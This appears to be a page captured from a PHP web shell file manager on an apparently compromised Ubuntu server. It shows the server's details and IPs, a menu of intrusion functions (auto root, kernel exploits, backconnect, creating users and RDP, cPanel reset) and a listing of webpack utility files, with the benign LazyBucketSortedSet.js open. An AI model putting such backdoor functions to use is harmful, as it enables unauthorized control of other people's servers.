Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.189
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
amatya /
quiz1 /
node_modules /
webpack /
lib /
util /
[ HOME SHELL ]
Name
Size
Permission
Action
hash
[ DIR ]
dr-xr-xr-x
ArrayHelpers.js
1.5
KB
-rw-rw-rw-
ArrayQueue.js
1.93
KB
-rw-rw-rw-
AsyncQueue.js
10.27
KB
-rw-rw-rw-
Hash.js
925
B
-rw-rw-rw-
IterableHelpers.js
958
B
-rw-rw-rw-
LazyBucketSortedSet.js
5.88
KB
-rw-rw-rw-
LazySet.js
5.01
KB
-rw-rw-rw-
MapHelpers.js
1.06
KB
-rw-rw-rw-
ParallelismFactorCalculator.js
1.73
KB
-rw-rw-rw-
Queue.js
1.04
KB
-rw-rw-rw-
Semaphore.js
1
KB
-rw-rw-rw-
SetHelpers.js
2.31
KB
-rw-rw-rw-
SortableSet.js
3.63
KB
-rw-rw-rw-
StackedCacheMap.js
3.31
KB
-rw-rw-rw-
StackedMap.js
3.34
KB
-rw-rw-rw-
StringXor.js
2.97
KB
-rw-rw-rw-
TupleQueue.js
1.3
KB
-rw-rw-rw-
TupleSet.js
3.05
KB
-rw-rw-rw-
URLAbsoluteSpecifier.js
2.48
KB
-rw-rw-rw-
WeakTupleMap.js
3.99
KB
-rw-rw-rw-
binarySearchBounds.js
4.12
KB
-rw-rw-rw-
chainedImports.js
4.18
KB
-rw-rw-rw-
cleverMerge.js
17.6
KB
-rw-rw-rw-
comparators.js
13.6
KB
-rw-rw-rw-
compileBooleanMatcher.js
6.45
KB
-rw-rw-rw-
concatenate.js
6.65
KB
-rw-rw-rw-
conventions.js
2.89
KB
-rw-rw-rw-
create-schema-validation.js
1.16
KB
-rw-rw-rw-
createHash.js
5.46
KB
-rw-rw-rw-
deprecation.js
8.13
KB
-rw-rw-rw-
deterministicGrouping.js
14.56
KB
-rw-rw-rw-
extractUrlAndGlobal.js
531
B
-rw-rw-rw-
findGraphRoots.js
6.02
KB
-rw-rw-rw-
fs.js
22.84
KB
-rw-rw-rw-
identifier.js
11.75
KB
-rw-rw-rw-
internalSerializables.js
10.87
KB
-rw-rw-rw-
magicComment.js
567
B
-rw-rw-rw-
makeSerializable.js
1.79
KB
-rw-rw-rw-
memoize.js
678
B
-rw-rw-rw-
nonNumericOnlyHash.js
562
B
-rw-rw-rw-
numberHash.js
2.86
KB
-rw-rw-rw-
objectToMap.js
343
B
-rw-rw-rw-
processAsyncTree.js
1.55
KB
-rw-rw-rw-
propertyAccess.js
727
B
-rw-rw-rw-
propertyName.js
1.31
KB
-rw-rw-rw-
registerExternalSerializer.js
7.72
KB
-rw-rw-rw-
runtime.js
15.79
KB
-rw-rw-rw-
semver.js
17.46
KB
-rw-rw-rw-
serialization.js
4.6
KB
-rw-rw-rw-
smartGrouping.js
5.14
KB
-rw-rw-rw-
source.js
1.72
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : LazyBucketSortedSet.js
/* MIT License http://www.opensource.org/licenses/mit-license.php Author Tobias Koppers @sokra */ "use strict"; const { first } = require("./SetHelpers"); const SortableSet = require("./SortableSet"); /** * @template T * @typedef {LazyBucketSortedSet<T, any> | SortableSet<T>} Entry */ /** * @template T * @typedef {(function(T): any) | (function(any, any): number)} Arg */ /** * Multi layer bucket sorted set: * Supports adding non-existing items (DO NOT ADD ITEM TWICE), * Supports removing exiting items (DO NOT REMOVE ITEM NOT IN SET), * Supports popping the first items according to defined order, * Supports iterating all items without order, * Supports updating an item in an efficient way, * Supports size property, which is the number of items, * Items are lazy partially sorted when needed * @template T * @template K */ class LazyBucketSortedSet { /** * @param {function(T): K} getKey function to get key from item * @param {function(K, K): number} comparator comparator to sort keys * @param {...Arg<T>} args more pairs of getKey and comparator plus optional final comparator for the last layer */ constructor(getKey, comparator, ...args) { this._getKey = getKey; /** @type {Arg<T>[]} */ this._innerArgs = args; this._leaf = args.length <= 1; this._keys = new SortableSet(undefined, comparator); /** @type {Map<K, Entry<T>>} */ this._map = new Map(); this._unsortedItems = new Set(); this.size = 0; } /** * @param {T} item an item * @returns {void} */ add(item) { this.size++; this._unsortedItems.add(item); } /** * @param {K} key key of item * @param {T} item the item * @returns {void} */ _addInternal(key, item) { let entry = this._map.get(key); if (entry === undefined) { entry = /** @type {Entry<T>} */ ( this._leaf ? new SortableSet(undefined, this._innerArgs[0]) : new /** @type {TODO} */ (LazyBucketSortedSet)(...this._innerArgs) ); this._keys.add(key); this._map.set(key, entry); } /** @type {Entry<T>} */ (entry).add(item); } /** * @param {T} item an item * @returns {void} */ delete(item) { this.size--; if (this._unsortedItems.has(item)) { this._unsortedItems.delete(item); return; } const key = this._getKey(item); const entry = /** @type {Entry<T>} */ (this._map.get(key)); entry.delete(item); if (entry.size === 0) { this._deleteKey(key); } } /** * @param {K} key key to be removed * @returns {void} */ _deleteKey(key) { this._keys.delete(key); this._map.delete(key); } /** * @returns {T | undefined} an item */ popFirst() { if (this.size === 0) return; this.size--; if (this._unsortedItems.size > 0) { for (const item of this._unsortedItems) { const key = this._getKey(item); this._addInternal(key, item); } this._unsortedItems.clear(); } this._keys.sort(); const key = /** @type {K} */ (first(this._keys)); const entry = this._map.get(key); if (this._leaf) { const leafEntry = /** @type {SortableSet<T>} */ (entry); leafEntry.sort(); const item = /** @type {T} */ (first(leafEntry)); leafEntry.delete(item); if (leafEntry.size === 0) { this._deleteKey(key); } return item; } const nodeEntry = /** @type {LazyBucketSortedSet<T, any>} */ (entry); const item = nodeEntry.popFirst(); if (nodeEntry.size === 0) { this._deleteKey(key); } return item; } /** * @param {T} item to be updated item * @returns {function(true=): void} finish update */ startUpdate(item) { if (this._unsortedItems.has(item)) { return remove => { if (remove) { this._unsortedItems.delete(item); this.size--; } }; } const key = this._getKey(item); if (this._leaf) { const oldEntry = /** @type {SortableSet<T>} */ (this._map.get(key)); return remove => { if (remove) { this.size--; oldEntry.delete(item); if (oldEntry.size === 0) { this._deleteKey(key); } return; } const newKey = this._getKey(item); if (key === newKey) { // This flags the sortable set as unordered oldEntry.add(item); } else { oldEntry.delete(item); if (oldEntry.size === 0) { this._deleteKey(key); } this._addInternal(newKey, item); } }; } const oldEntry = /** @type {LazyBucketSortedSet<T, any>} */ ( this._map.get(key) ); const finishUpdate = oldEntry.startUpdate(item); return remove => { if (remove) { this.size--; finishUpdate(true); if (oldEntry.size === 0) { this._deleteKey(key); } return; } const newKey = this._getKey(item); if (key === newKey) { finishUpdate(); } else { finishUpdate(true); if (oldEntry.size === 0) { this._deleteKey(key); } this._addInternal(newKey, item); } }; } /** * @param {Iterator<T>[]} iterators list of iterators to append to * @returns {void} */ _appendIterators(iterators) { if (this._unsortedItems.size > 0) iterators.push(this._unsortedItems[Symbol.iterator]()); for (const key of this._keys) { const entry = this._map.get(key); if (this._leaf) { const leafEntry = /** @type {SortableSet<T>} */ (entry); const iterator = leafEntry[Symbol.iterator](); iterators.push(iterator); } else { const nodeEntry = /** @type {LazyBucketSortedSet<T, any>} */ (entry); nodeEntry._appendIterators(iterators); } } } /** * @returns {Iterator<T>} the iterator */ [Symbol.iterator]() { /** @type {Iterator<T>[]} */ const iterators = []; this._appendIterators(iterators); iterators.reverse(); let currentIterator = /** @type {Iterator<T>} */ (iterators.pop()); return { next: () => { const res = currentIterator.next(); if (res.done) { if (iterators.length === 0) return res; currentIterator = /** @type {Iterator<T>} */ (iterators.pop()); return currentIterator.next(); } return res; } }; } } module.exports = LazyBucketSortedSet;
Close